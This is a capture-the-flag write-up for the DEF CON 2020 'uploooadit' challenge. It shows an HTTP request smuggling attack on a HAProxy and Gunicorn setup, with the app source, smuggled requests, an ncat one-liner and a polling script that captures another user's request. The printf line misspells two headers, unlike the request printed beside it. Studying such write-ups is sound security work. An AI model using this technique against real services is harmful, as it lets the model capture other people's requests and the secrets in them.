defcon 2020 quals – uploooadit

Defcon Quals – uploooadit challenge

We started off with a website https://uploooadit.oooverflow.io/ and 2 source files.

App.py – backend source code, just a simple server which supports reading files from AWS S3 bucket and creating files on AWS S3 bucket.

Store.py – Implementation for the actions I mentioned above.

TL;DR

We successfully performed http request smuggling by causing desync between the Gunicorn backend to the HAProxy.

By injecting arbitrary content to another’s request, we forced the next request to be http POSTDATA sent to the server, storing the target’s request. Afterwards, we read it. By doing so, we managed to get the flag, which is sent through http post request to the backend server.

How we got there?

We started off with the source code, looking for some vulnerabilities, trying to think of ways to solve the challenge.

import os
import re

from flask import Flask, abort, request

import store

GUID_RE = re.compile(
    r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z"
)

app = Flask(__name__)
app.config["MAX_CONTENT_LENGTH"] = 512
filestore = store.S3Store()

# Uncomment the following line for simpler local testing of this service
# filestore = store.LocalStore()


@app.route("/files/", methods=["POST"])
def add_file():
    if request.headers.get("Content-Type") != "text/plain":
        abort(422)

    guid = request.headers.get("X-guid", "")
    if not GUID_RE.match(guid):
        abort(422)

    filestore.save(guid, request.data)
    return "", 201


@app.route("/files/<guid>", methods=["GET"])
def get_file(guid):
    if not GUID_RE.match(guid):
        abort(422)

    try:
        return filestore.read(guid), {"Content-Type": "text/plain"}
    except store.NotFound:
        abort(404)


@app.route("/", methods=["GET"])
def root():
    return "", 204

By examining the server source, we can easily notice two things:

  • We can read any file with a given GUID (get_file function)

  • We can upload any file with some GUID as filename (add_file function).

We tried few different ways to get the flag for several hours (AWS S3 bucket misconfigurations, finding vulnerabilities within the code etc.) but without any success.

Until we noticed the following http headers returned from the server:

Server: gunicorn/20.0.0
Via: haproxy

And then it came to us! We remembered an article by Nathan Davison, which describes http request smuggling attack against HAProxy – Gunicorn server (which is pretty much the solution for the challenge).

The concept is described pretty well at Nathan’s article & article by portswigger, but still, I’ll explain the main concept with a simple example.

HTTP Request Smuggling is an attack vector caused by inconsistency between frontend & backend servers when parsing http request’s ‘data transfer’ behavior over a connection. You can use Content-Length header to specify the exact length of the request, or ‘Transfer-Encoding: chunked’ to send file over a single TCP connection by sending multiple chunks. Usually, this kind of attack happens when messing with those headers. This “inconsistency” of parsing leads to arbitrary data being injected to the next request in the frontend / backend server.

For example, the frontend server might parse http request using Content-Length header, but the backend server parse the request using Transfer-Encoding (CL.TE vulnerability).

By sending the following request:

POST / HTTP/1.1
Host: example.com
Content-Length: 9
Transfer-Encoding: chunked

0

DATA

The frontend server will transfer the request to the backend server using Content-Length (“0\r\n\r\nDATA”). If the backend server would parse the request using Transfer-Encoding header, it will encounter 0 which resembles the last chunk of the request. Then, “DATA” will be pre-appended to the next request over the same connection (“DATAGET / HTTP/1.1”).

The scenario in uploooadit was similar. As written in Nathan’s article, by sending both Transfer-Encoding & Content-Length headers, with additional \x0C character in the TE header, we can cause this inconsistency.

By sending the following request:

POST /files/ HTTP/1.1
X-guid: 10000000-0000-0000-0000-000000000000
Content-Type: text/plain
Host: uploooadit.oooverflow.io
Content-Length: 9
Transfer-Encoding:[\x0c]chunked

0

DATA

The frontend server will use the Content-Length header to parse the request, but the backend server will use Transfer-Encoding.

As explained before, as the backend server receives ‘0’, it stops to receive more chunks. Then, the rest of the data pre-appended to the next request (which is in the same TCP connection)!

Soo… what can we do next?

The next thing we thought of was stealing someone’s request. So we’ll abuse the upload file feature by appending http post request to /files/, with the victim’s request as POSTDATA. Maybe, by doing so, we’ll get some valuable information.

Proof of Concept:

printf 'POST /files/ HTTP/1.1\r\nX-guid: 10000000-0000-0000-0000-000000000000\r\nContent-Type: text/plain\r\nHost: uploooadit.oooverflow.io\r\nContent-Legth: 128\r\nTransfer-Encoding:\x0cchuncked\r\n\r\n0\r\n\r\nPOST /files/ HTTP/1.1\r\nX-guid: 30000000-0000-0000-0000-000000000000\r\nContent-Type: text/plain\r\nContent-Length: 395\r\n\r\n390\r\n' | ncat --ssl uploooadit.oooverflow.io 443

or:

POST /files/ HTTP/1.1
X-guid: 10000000-0000-0000-0000-000000000000
Content-Type: text/plain
Host: uploooadit.oooverflow.io
Content-Length: 9
Transfer-Encoding:[\x0c]chunked

0

POST /files/ HTTP/1.1
X-guid: 30000000-0000-0000-0000-000000000000
Content-Type: text/plain
Content-Length: 390

390

So, the next request will be ( is the victim’s request):

POST /files/ HTTP/1.1
X-guid: 30000000-0000-0000-0000-000000000000
Content-Type: text/plain
Content-Length: 395

390
<DATA>

By reading 30000000-0000-0000-0000-000000000000 file:

import requests
import time

def get():
    headers = {"Content-Type":"text/plain"}
    r = requests.get("https://uploooadit.oooverflow.io/files/30000000-0000-0000-0000-000000000000",headers = headers, verify=False, timeout=5)
    print(r.status_code)
    print(r.text)

while True:
    time.sleep(1)
    try:
        get()
    except:
        continue

We got as output:

POST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: 8328508c-8de9-43cd-8e08-5b9c7c45f552
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

And we got the flag! =)

Summary

At first glance, http request smuggling attack seems not so powerful. But, this challenge showed us very powerful exploitation vector.

In the wild, this kind of bug might lead to cookie theft, trigger xss vulnerabilities or even remote code execution.